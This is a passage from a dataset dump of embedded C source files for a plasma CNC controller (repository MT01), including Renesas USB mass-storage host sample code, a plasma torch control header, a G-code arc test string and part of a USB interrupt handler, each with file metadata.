(0xFFF00000)\n\n#elif BSP_PACKAGE_PINS == 145\n#define ADC_INVALID_CH_MASK (0xFFF00000)\n\n#elif BSP_PACKAGE_PINS == 144\n#define ADC_INVALID_CH_MASK (0xFFF00000)\n\n#elif BSP_PACKAGE_PINS == 100\n#define ADC_INVALID_CH_MASK (0xFFFFC000) // channels 0-13 valid\n\n#else\n #error \"ERROR - BSP_CFG_MCU_PART_PACKAGE - Unknown package chosen in r_bsp_config.h\"\n#endif\n\n#endif\n\n\n/******************************************************************************\nTypedef definitions\n*******************************************************************************/\ntypedef struct st_adc_ctrl // ADC Control Block\n{\n adc_mode_t mode; // operational mode\n bool opened;\n void (*callback)(void *p_args);\n} adc_ctrl_t;\n\n\n/* ADCSR register ADCS field (non-63x) */\ntypedef enum e_adc_adcs\n{\n ADC_ADCS_SINGLE_SCAN=0,\n ADC_ADCS_GROUP_SCAN=1,\n ADC_ADCS_CONT_SCAN=2,\n ADC_ADCS_MAX\n} adc_adcs_t;\n\n/******************************************************************************\nExported global variables\n*******************************************************************************/\n\n/******************************************************************************\nExported global functions (to be accessed by other files)\n*******************************************************************************/\n\n#endif\n" }, { "alpha_fraction": 0.44105109572410583, "alphanum_fraction": 0.4477207660675049, "avg_line_length": 38.099998474121094, "blob_id": "a06eb428401ac735817d8cd1eb48bf6b215e36fe", "content_id": "931b5e4e01e76f12db09689b3fcdf7b45cc71fc4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 19941, "license_type": "no_license", "max_line_length": 101, "num_lines": 510, "path": "/src/config/r_usb_hmsc.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*******************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only\n* intended for use with Renesas products. No other uses are authorized. This\n* software is owned by Renesas Electronics Corporation and is protected under\n* all applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT\n* LIMITED TO WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE\n* AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED.\n* TO THE MAXIMUM EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS\n* ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES SHALL BE LIABLE\n* FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR\n* ANY REASON RELATED TO THIS SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE\n* BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software\n* and to discontinue the availability of this software. By using this software,\n* you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n* Copyright (C) 2014 Renesas Electronics Corporation\n* and Renesas Solutions Corp. All rights reserved.\n*******************************************************************************/\n/*******************************************************************************\n* File Name : r_usb_hmsc_sample.c\n* Version : 1.00\n* Device(s) : Renesas R5F564MxxDxx\n* Tool-Chain : Renesas e2 studio v3.0.1.7 or later\n* : C/C++ Compiler Package for RX Family V2.01.00 or later\n* OS : None\n* H/W Platform : Renesas Starter Kit+ RX64M\n* Description : Sample code for driving the USB-BASIC-FW and HMSC\n*******************************************************************************/\n/*******************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 30.06.2014 1.00 First Release\n*******************************************************************************/\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include \"r_usb_hmsc.h\" /* USB HMSC Sample Code Header */\n#include \"platform.h\"\n#include \"r_usb_basic_if.h\"\n#include \"r_usb_hmsc_if.h\"\n#include \"ff.h\"\n\n\n#ifdef FREE_RTOS_PP\n#include \"FreeRTOS.h\"\n#include \"task.h\"\n#endif\n/*****************************************************************************\nMacro definitions\n******************************************************************************/\n#define USB_HOST_USBIP_NUM USB_USBIP_0\n\n/******************************************************************************\nSection <Section Definition> , \"Data Sections\"\n******************************************************************************/\n\n/******************************************************************************\nPrivate global variables and functions\n******************************************************************************/\nuint16_t usb_ghmsc_SmpAplProcess = USB_HMSC_WAIT;\nextern FATFS st_usb_fatfs;\nuint8_t usb_gBuf[512];\nbool drivemountFlag = false;\nSemaphoreHandle_t xUsbMount;\n\n\nconst uint16_t usb_gapl_devicetpl[] =\n{\n /* Number of tpl table */\n 4,\n /* Reserved */\n 0,\n /* Vendor ID : no-check */\n USB_NOVENDOR,\n /* Product ID : no-check */\n USB_NOPRODUCT,\n};\n\nuint16_t usb_gvendor_smpl_eptbl[] =\n{\n USB_PIPE1,\n USB_NONE | USB_BFREOFF | USB_DBLBON | USB_CNTMDON | USB_NONE | USB_NONE | USB_NONE,\n USB_NONE,\n USB_NONE,\n USB_NONE,\n USB_CUSE,\n USB_PIPE1,\n USB_NONE | USB_BFREOFF | USB_DBLBON | USB_CNTMDON | USB_NONE | USB_NONE | USB_NONE,\n USB_NONE,\n USB_NONE,\n USB_NONE,\n USB_CUSE,\t/* Pipe end */\n USB_PDTBLEND,\n};\n\nvoid usb_cstd_IdleTaskStart(void);\nvoid usb_cstd_IdleTask(USB_VP_INT stacd);\nvoid usb_hmsc_task_start(void);\nvoid usb_apl_task_switch(void);\nvoid usb_hapl_task_start(USB_UTR_t *ptr);\nvoid usb_hmsc_DummyFunction(USB_UTR_t *ptr, uint16_t data1, uint16_t data2);\nvoid usb_hmsc_DriveOpen(USB_UTR_t *ptr, uint16_t addr, uint16_t data2);\nvoid usb_hapl_registration(USB_UTR_t *ptr);\nvoid usb_hmsc_apl_init(USB_UTR_t *ptr);\nvoid usb_hmsc_StrgCommandResult(USB_UTR_t *mess, uint16_t data1, uint16_t data2);\nvoid usb_hmsc_SampleAplTask(void);\n\n/******************************************************************************\nExternal variables and functions\n******************************************************************************/\nextern USB_UTR_t tfat_ptr;\n\n/*** File System Interface for HMSC ***/\nextern void R_usb_hmsc_DriveClose(USB_UTR_t *ptr, uint16_t addr, uint16_t data2);\n/*****************************************************************************\nEnumerated Types\n******************************************************************************/\n\n/******************************************************************************\nSection <Section Definition> , \"Project Sections\"\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_cstd_IdleTaskStart\nDescription : Idle Task Start process\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_IdleTaskStart(void)\n{\n/* Condition compilation by the difference of the devices */\n#if (USB_CPU_LPW_PP == USB_LPWR_USE_PP)\n R_usb_cstd_SetTaskPri(USB_IDL_TSK, USB_PRI_6);\n USB_SND_MSG(USB_IDL_MBX, 0);\n#endif /* (USB_CPU_LPW_PP == USB_LPWR_USE_PP) */\n}\n/******************************************************************************\nEnd of function usb_cstd_IdleTaskStart\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_cstd_IdleTask\nDescription : Call Idle Task (sleep sample)\nArguments : USB_VP_INT stacd : task start code(not use)\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_IdleTask(USB_VP_INT stacd)\n{\n}\n/******************************************************************************\nEnd of function usb_cstd_IdleTask\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : hmsc_cstd_task_start\nDescription : Start task processing.\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid hmsc_cstd_task_start( void )\n{\n\txUsbMount = xSemaphoreCreateBinary();\n\n /* Start the Idle task. */\n usb_cstd_IdleTaskStart();\n\n /* Start host-related USB drivers. */\n usb_hmsc_task_start();\n\n \n /* Task switching. */\n usb_apl_task_switch ();\n} /* eof usb_cstd_task_start() */\n/******************************************************************************\nFunction Name : usb_hmsc_task_start\nDescription : Start task processing.\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid usb_hmsc_task_start(void)\n{\n /* The USB Communication Structure allocation for this MSC. */\n USB_UTR_t utr;\n /* Pointer to the USB Communication Structure above. */\n USB_UTR_t* ptr = &utr;\n\n /* Determine which port is host. */\n ptr->ip = USB_HOST_USBIP_NUM;\n\n /* If port is used, register the driver etc. */\n if (USB_NOUSE_PP != ptr->ip )\n {\n ptr->ipp = R_usb_cstd_GetUsbIpAdr( ptr->ip ); /* Get the USB IP base address. */\n\n tfat_ptr.ip = ptr->ip; /* Set up USB IP number for TFAT system. */\n tfat_ptr.ipp = ptr->ipp; /* Set up USB IP base address for TFAT. */\n\n /* Set-up tasks and drivers to use the allocated Comm. structure (for MSC) above. */\n R_usb_hstd_MgrOpen(ptr); /* Manager open */\n R_usb_hstd_HcdOpen(ptr); /* Hcd open */\n\n usb_hapl_registration( ptr ); /* Host application registration. */\n R_usb_hmsc_hub_registration(ptr); /* Hub registration. */\n R_usb_hmsc_driver_start( ptr ); /* Host class driver. */\n usb_hapl_task_start( ptr ); /* Host application task. */\n\n /* Finally, init the HW with the Comm. struct. */\n R_usb_cstd_UsbIpInit( ptr, USB_HOST_PP );\n }\n}\n/******************************************************************************\nEnd of function usb_hmsc_task_start\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_apl_task_switch\nDescription : Non-OS task switch loop.\nArgument : none\nReturn value : none\n******************************************************************************/\nvoid usb_apl_task_switch(void)\n{\n#ifdef FREE_RTOS_PP\n usb_hmsc_SampleAplTask(); /* HMSC Sample Task */\n#else\n /* Scheduler */\n R_usb_cstd_Scheduler();\n\n /* Check for any task processing requests flags. */\n if( USB_FLGSET == R_usb_cstd_CheckSchedule() )\n {\n R_usb_hstd_HcdTask((USB_VP_INT)0); /* HCD Task */\n R_usb_hstd_MgrTask((USB_VP_INT)0); /* MGR Task */\n R_usb_hhub_Task((USB_VP_INT)0); /* HUB Task */\n\n R_usb_hmsc_Task(); /* HMSC Task */\n R_usb_hmsc_StrgDriveTask(); /* HSTRG Task */\n usb_hmsc_SampleAplTask(); /* HMSC Sample Task */\n }\n else\n {\n /* Idle task - background \"sleep\". */\n usb_cstd_IdleTask(0);\n }\n#endif /* FREE_RTOS_PP */\n}\n/******************************************************************************\nEnd of function usb_apl_task_switch\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hapl_task_start\nDescription : Start up host USB application task.\nArguments : USB_UTR_t *ptr : The app's USB Comm. Structure.\nReturn value : none\n******************************************************************************/\nvoid usb_hapl_task_start(USB_UTR_t *ptr)\n{\n /* Set task priority of HMSC sample application. */\n R_usb_cstd_SetTaskPri(USB_HMSCSMP_TSK, USB_PRI_4);\n\n /* Clear application using fresh USB Comm. Structure. */\n usb_hmsc_apl_init(ptr);\n}\n/******************************************************************************\nEnd of function usb_hapl_task_start\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hmsc_DummyFunction\nDescription : dummy function\nArguments : USB_UTR_t *ptr\t\t: The app's USB Comm. Structure.\n : uint16_t data1\t\t: not use\n : uint16_t data2\t\t: not use\nReturn value : none\n******************************************************************************/\nvoid usb_hmsc_DummyFunction(USB_UTR_t *ptr, uint16_t data1, uint16_t data2)\n{\n}\n/******************************************************************************\nEnd of function usb_hmsc_DummyFunction\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hmsc_DriveOpen\nDescription : HMSC drive open\nArguments : uint16_t addr :\n : uint16_t data2 :\nReturn value : none\n******************************************************************************/\nvoid usb_hmsc_DriveOpen(USB_UTR_t *ptr, uint16_t addr, uint16_t data2)\n{\n/* Condition compilation by the difference of the File system */\n USB_MH_t p_blf;\n USB_ER_t err;\n USB_CLSINFO_t *cp;\n\n /* Get mem pool blk */\n if( R_USB_PGET_BLK(USB_HMSCSMP_MPL,&p_blf) == USB_E_OK )\n {\n cp = (USB_CLSINFO_t*)p_blf;\n cp->msginfo = USB_HMSC_DRIVE_OPEN;\n cp->keyword = addr;\n\n cp->ip = ptr->ip;\n cp->ipp = ptr->ipp;\n\n /* Send message */\n err = R_USB_SND_MSG( USB_HMSCSMP_MBX, (USB_MSG_t*)p_blf );\n\n if(err != USB_E_OK)\n {\n err = R_USB_REL_BLK(USB_HMSCSMP_MPL,(USB_MH_t)p_blf);\n USB_PRINTF0(\"### DriveOpen snd_msg error\\n\");\n while( 1 );\n }\n }\n else\n {\n USB_PRINTF0(\"### DriveOpen pget_blk error\\n\");\n while( 1 );\n }\n}\n/******************************************************************************\nEnd of function usb_hmsc_DriveOpen\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hapl_registration\nDescription : Callback registration.\nArguments : USB_UTR_t *ptr : The app's USB Comm. Structure.\nReturn value : none\n******************************************************************************/\nvoid usb_hapl_registration(USB_UTR_t *ptr)\n{\n USB_HCDREG_t driver;\n\n /* Driver registration */\n driver.ifclass = (uint16_t)USB_IFCLS_MAS; /* Use Interface class for MSC. */\n driver.tpl = (uint16_t*)&usb_gapl_devicetpl; /* Target peripheral list. */\n driver.pipetbl = (uint16_t*)&usb_gvendor_smpl_eptbl; /* Pipe def. table address. */\n driver.classinit = &R_usb_hmsc_Initialized; /* Driver init. */\n driver.classcheck = &R_usb_hmsc_ClassCheck; /* Driver check. */\n driver.devconfig = &usb_hmsc_DriveOpen; /* Callback when device is configured. */\n driver.devdetach = &R_usb_hmsc_DriveClose; /* Callback when device is detached. */\n driver.devsuspend = &usb_hmsc_DummyFunction; /* Callback when device is suspended. */\n driver.devresume = &usb_hmsc_DummyFunction; /* Callback when device is resumed. */\n\n /* Host MSC class driver registration. */\n R_usb_hstd_DriverRegistration(ptr, &driver);\n}\n/******************************************************************************\nEnd of function usb_hapl_registration\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hmsc_apl_init\nDescription : Clear application.\nArguments : USB_UTR_t *ptr : The app's USB Comm. Structure.\nReturn value : none\n******************************************************************************/\nvoid usb_hmsc_apl_init(USB_UTR_t *ptr)\n{\n /* Init this application's drive open sequence state. */\n usb_ghmsc_SmpAplProcess = USB_HMSC_WAIT;\n}\n/******************************************************************************\nEnd of function usb_hmsc_apl_init\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hmsc_StrgCommandResult\nDescription : Callback function of storage drive search\nArguments : USB_UTR_t *mess : The app's USB Comm. Structure.\nReturn value : none\n******************************************************************************/\nvoid usb_hmsc_StrgCommandResult( USB_UTR_t *mess, uint16_t data1, uint16_t data2 )\n{\n USB_ER_t err;\n USB_MH_t p_blf;\n USB_CLSINFO_t *mes;\n USB_CLSINFO_t *cp;\n\n /* Switch action depending on message. */\n mes = (USB_CLSINFO_t *)mess;\n\n /* Device status setting = attached. */\n R_usb_hmsc_SetDevSts(0,(uint16_t)USB_HMSC_DEV_ATT);\n\n /* Application initialization sequence start. */\n\n /* Get mem pool blk */\n if( R_USB_PGET_BLK(USB_HMSCSMP_MPL, &p_blf) == USB_E_OK )\n {\n /* Send message to myself: Drive mount. */\n cp = (USB_CLSINFO_t*)p_blf;\n cp->msginfo = USB_HMSC_DRIVEMOUNT;\n cp->keyword = mes->keyword;\n cp->result = mes->result;\n\n /* Send message */\n err = R_USB_SND_MSG(USB_HMSCSMP_MBX, (USB_MSG_t*)p_blf);\n if( err != USB_E_OK )\n {\n err = R_USB_REL_BLK(USB_HMSCSMP_MPL, (USB_MH_t)p_blf);\n USB_PRINTF0(\"### CommandResult snd_msg error\\n\");\n while( 1 );\n }\n }\n else\n {\n USB_PRINTF0(\"### CommandResult pget_blk error\\n\");\n while( 1 );\n }\n}\n/******************************************************************************\nEnd of function usb_hmsc_StrgCommandResult\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hmsc_SampleAplTask\nDescription : Sample application task for driving the USB-BASIC-FW and HMSC.\n : Received the detection message of the USB device, do sequence\n : for mount to the file system.\nArgument : none\nReturn value : none\n******************************************************************************/\nvoid usb_hmsc_SampleAplTask(void)\n{\n USB_UTR_t *mess;\n USB_ER_t err;\n USB_CLSINFO_t *mes;\n uint16_t addr;\n\n#ifdef FREE_RTOS_PP\n for( ;; )\n {\n#endif\n /* Check for incoming application messages. */\n err = R_USB_TRCV_MSG(USB_HMSCSMP_MBX, (USB_MSG_t**)&mess, (USB_TM_t)5000);\n if( err != USB_OK )\n {\n#ifdef FREE_RTOS_PP\n continue;\n#else\n return;\n#endif\n }\n\n /* Switch action depending on message. */\n mes = (USB_CLSINFO_t *)mess;\n switch( mes->msginfo )\n {\n \t/* Device detection */\n case USB_HMSC_DRIVE_OPEN:\n usb_ghmsc_SmpAplProcess = USB_HMSC_DRIVE_OPEN;\n\n /* Set device address. */\n addr = mes->keyword;\n\n /* Storage drive search. */\n R_usb_hmsc_StrgDriveSearch(mess, addr, (USB_CB_t)&usb_hmsc_StrgCommandResult);\n break;\n \n /* Mount to the file system */\n case USB_HMSC_DRIVEMOUNT:\n \t/* File system media work area memory mount. */\n \tf_mount(&st_usb_fatfs,\"\",NULL);\n /* Notify the task that the transmission is complete. */\n //\txTaskNotifyGive( task_main_handle );\n \tdrivemountFlag = true;\n// \t\txSemaphoreGive( xUsbMount );\n// \tif( res != TFAT_FR_OK )\n// \t{\n// \t\tUSB_PRINTF1(\"R_tfat_f_mount error: %d\\n\", res);\n// \t}\n \t/* Send message to myself: Wait. */\n \tusb_ghmsc_SmpAplProcess = USB_HMSC_WAIT;\n \tbreak;\n\n case USB_HMSC_WAIT:\n \tbreak;\n\n default:\n \tbreak;\n }\n\n /* Release message memory from pool. */\n err = R_USB_REL_BLK(USB_HMSCSMP_MPL,(USB_MH_t)mess);\n if( err != USB_E_OK )\n {\n USB_PRINTF0(\"### USB Hsmp Task rel_blk error\\n\");\n }\n#ifdef FREE_RTOS_PP\n vTaskDelay(10);\n }\n#endif\n}\n/******************************************************************************\nEnd of function usb_hmsc_SampleAplTask\n******************************************************************************/\n\n/******************************************************************************\nEnd of file\n******************************************************************************/\n" }, { "alpha_fraction": 0.7061032652854919, "alphanum_fraction": 0.7408450841903687, "avg_line_length": 22.66666603088379, "blob_id": "bbcda01ba498f111a14a130aa678edd0b40b04c9", "content_id": "18824471ba75b657c84e3102a18947be0bea6907", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1065, "license_type": "no_license", "max_line_length": 39, "num_lines": 45, "path": "/src/cnc/plasma.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * plasma.h\n *\n * Created on: 14/03/2016\n * Author: leocafonso\n */\n\n#ifndef CNC_PLASMA_H_\n#define CNC_PLASMA_H_\n#include \"FreeRTOS.h\"\n#include \"task.h\"\n#include \"semphr.h\"\n\n//#define ARCO_OK_FAILED 0xFFFFFFFF\n//#define ARCO_OK_OFF 0xFFFFFFFE\n//#define MATERIAL_FAILED 0xFFFFFFFD\n#define ARCO_OK_INIT_FAILED 0xFFFC0000\n#define ARCO_OK_FAILED 0xFFFF0000\n#define ARCO_OK_OFF 0xFFFE0000\n#define MATERIAL_FAILED 0xFFFD0000\nextern SemaphoreHandle_t xArcoOkSync;\nextern uint32_t currentLine;\n\nvoid pl_arcook_init(void);\nvoid pl_thc_init(void);\nvoid pl_thc_read(void);\nfloat pl_thc_pid(void);\nvoid pl_arcook_start(void);\nvoid pl_arcook_stop(void);\nvoid pl_emergencia_init(void);\nvoid plasma_task(void);\nvoid delay_thcStartStop(bool state);\n\n/*Setter and getters*/\nvoid isCuttingSet(bool state);\nbool isCuttingGet(void);\nvoid arcoOkSet(bool state);\nbool arcoOkGet(void);\nfloat THC_realGet(void);\nvoid delay_thcSet(uint16_t state);\nuint16_t delay_thcGet(void);\nvoid stopDuringCut_Set(bool state);\nbool stopDuringCut_Get(void);\n\n#endif /* CNC_PLASMA_H_ */\n" }, { "alpha_fraction": 0.461607962846756, "alphanum_fraction": 0.7109304666519165, "avg_line_length": 28.13157844543457, "blob_id": "14ce376e362f1485c2c67d70fb44f046085e6b3b", "content_id": "57eb579c94ca24e998e24196efd1a8a9cb36b4c9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1107, "license_type": "no_license", "max_line_length": 91, "num_lines": 38, "path": "/src/cnc/tests/test_004_arcs.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * test_004_arcs.h\n *\n * Notes:\n *\t -\tThe character array should be derived from the filename (by convention)\n *\t - Comments are not allowed in the char array, but gcode comments are OK e.g. (g0 test)\n */\n\nconst char test_arcs[] PROGMEM = \"\\\nN1 g00g17g21g40g49g80g90\\n\\\nN10 g0x0y0\\n\\\nN20 f500\\n\\\nN30 g2x10y-10i10 (CW 270 degrees)\\n\\\nN40 g0x0y0\\n\\\nN50 g3x10y-10i10 (CCW 90 degrees)\\n\\\nN60 g0x0y0\\n\\\nN80 g2x20y0i10 (CW 180 degrees)\\n\\\nN70 g0x0y0\\n\\\nN80 g3x20y0i10 (CCW 180 degrees)\\n\\\nN90 g0x0y0\\n\\\nN99 F1200\\n\\\nN100 g2x0y0i20 (CW 360 degrees)\\n\\\nN110 g2x0y0i20 (CW 360 again)\\n\\\nN120 f700 (Change feed rate while in G2 motion mode)\\n\\\nN130 g2x0y0i20 (CW 360 3rd time)\\n\\\nN140 g2x0y0i20 (CW 360 4th time)\\n\\\nN150 f500\\n\\\nN160 g3x0y0z40i20 (CCW 360 degrees with linear travel)\\n\\\nN170 g3x0y0z0i20 (CCW 360 again)\\n\\\nN180 f700 (msg****Change feed rate while in G3 motion mode****)\\n\\\nN190 g3x0y0i20 (CCW 360 3rd time)\\n\\\nN200 g3x0y0i20 (CCW 360 4th time)\\n\\\nN210 (msg****G18 Eval test****)\\n\\\nN220 G1 X30.707 Z50.727 F500\\n\\\nN230 G18 G02 X67.738 Z23.617 R25 F250\\n\\\nN240 g80\\n\\\nN250 g0x0y0z0\\n\\\nN260 m30\";\n" }, { "alpha_fraction": 0.4370875954627991, "alphanum_fraction": 0.44573378562927246, "avg_line_length": 48.943180084228516, "blob_id": "94925f259cdc4c2b7c2bf4a040418b741bb793b5", "content_id": "a138e8c1da4bf8e8415e11ac7a12668323a565ed", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 4395, "license_type": "no_license", "max_line_length": 80, "num_lines": 88, "path": "/src/include/r_usb_hmsc.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*******************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only\n* intended for use with Renesas products. No other uses are authorized. This\n* software is owned by Renesas Electronics Corporation and is protected under\n* all applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT\n* LIMITED TO WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE\n* AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED.\n* TO THE MAXIMUM EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS\n* ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES SHALL BE LIABLE\n* FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR\n* ANY REASON RELATED TO THIS SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE\n* BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software\n* and to discontinue the availability of this software. By using this software,\n* you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n* Copyright (C) 2014 Renesas Electronics Corporation\n* and Renesas Solutions Corp. All rights reserved.\n*******************************************************************************/\n/*******************************************************************************\n* File Name : r_usb_hmsc_sample.h\n* Version : 1.00\n* Device(s) : Renesas R5F564MxxDxx\n* Tool-Chain : Renesas e2 studio v3.0.1.7 or later\n* : C/C++ Compiler Package for RX Family V2.01.00 or later\n* OS : None\n* H/W Platform : Renesas Starter Kit+ RX64M\n* Description : USB HMSC Sample Code Header\n*******************************************************************************/\n/*******************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 30.06.2014 1.00 First Release\n*******************************************************************************/\n\n/* Guards against multiple inclusion */\n#ifndef R_USB_HMSC_SAMPLE_H\n#define R_USB_HMSC_SAMPLE_H\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include \"FreeRTOS.h\"\n#include \"task.h\"\n#include \"queue.h\"\n#include \"semphr.h\"\n#include \"platform.h\"\n#include \"r_usb_ckernelid.h\"\n\n/*****************************************************************************\nMacro definitions\n******************************************************************************/\n/* HMSC Sample Application Task */\n#define USB_HMSCSMP_TSK USB_TID_6 /* Task ID */\n#define USB_HMSCSMP_MBX USB_HMSCSMP_TSK /* Mailbox ID */\n#define USB_HMSCSMP_MPL USB_HMSCSMP_TSK /* Memorypool ID */\n\n#define USB_ENTER \t\t (0x08U)\n\n/******************************************************************************\nSection <Section Definition> , \"Data Sections\"\n******************************************************************************/\n\n/******************************************************************************\nPrivate global variables and functions\n******************************************************************************/\n\n/******************************************************************************\nExternal variables and functions\n******************************************************************************/\nextern xQueueHandle qKeyboard;\nextern SemaphoreHandle_t xUsbMount;\n/*****************************************************************************\nEnumerated Types\n******************************************************************************/\n\n/******************************************************************************\nSection <Section Definition> , \"Project Sections\"\n******************************************************************************/\n\n#endif /* R_USB_HMSC_SAMPLE_H */\n\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.4275241196155548, "alphanum_fraction": 0.436012864112854, "avg_line_length": 42.19444274902344, "blob_id": "1eb890b3f0a3c0b8961372d59597e2290f83422a", "content_id": "30a9688bc019b43b1442b72b0b1ee475dc81010f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 7775, "license_type": "no_license", "max_line_length": 120, "num_lines": 180, "path": "/r_usb_basic/src/driver/comm/r_usb_cinthandler_usbip0.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_cinthandler_usbip0.c\n* Description : USB IP0 Host and Peripheral interrupt handler code\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Added RX71M.\n***********************************************************************************************************************/\n\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include \"r_usb_basic_if.h\"\n#include \"r_usb_reg_access.h\"\n\n\n/******************************************************************************\nConstant macro definitions\n******************************************************************************/\n\n\n/******************************************************************************\nExternal variables and functions\n******************************************************************************/\nextern void usb_cstd_d0fifo_handler(void);\n\n/******************************************************************************\nPrivate global variables and functions\n******************************************************************************/\n\nUSB_UTR_t usb_gcstd_IntMsg[USB_NUM_USBIP][USB_INTMSGMAX]; /* Interrupt message */\nuint16_t usb_gcstd_IntMsgCnt[USB_NUM_USBIP]; /* Interrupt message count */\nUSB_UTR_t usb_gcstd_IntMsgD0fifo;\n\n\n/******************************************************************************\nRenesas Abstracted common Interrupt handler functions\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_cstd_InitUsbMessage\nDescription : Initialization of message to be used at time of USB interrupt.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects e.g. channel.\n : uint16_t function : Host or peripheral mode.\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_InitUsbMessage(USB_UTR_t *ptr, uint16_t function)\n{\n /* TD.5.4 The interruption message of PCD is notified to HCD. */\n uint16_t i, msg_info;\n\n if( function == USB_PERI )\n {\n /* Peripheral Function */\n msg_info = USB_MSG_PCD_INT;\n }\n else\n {\n /* Host Function */\n msg_info = USB_MSG_HCD_INT;\n }\n\n for( i = 0; i < USB_INTMSGMAX; i++ )\n {\n usb_gcstd_IntMsg[ptr->ip][i].msginfo = msg_info;\n }\n\n usb_gcstd_IntMsgCnt[ptr->ip] = 0;\n}\n/******************************************************************************\nEnd of function usb_cstd_InitUsbMessage\n******************************************************************************/\n\n#if USB_FUNCSEL_USBIP0_PP != USB_NOUSE_PP\n/******************************************************************************\nFunction Name : usb_cstd_DmaHandler\nDescription : DMA interrupt routine. Send message to PCD/HCD task.\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_DmaHandler(void)\n{\n#ifdef 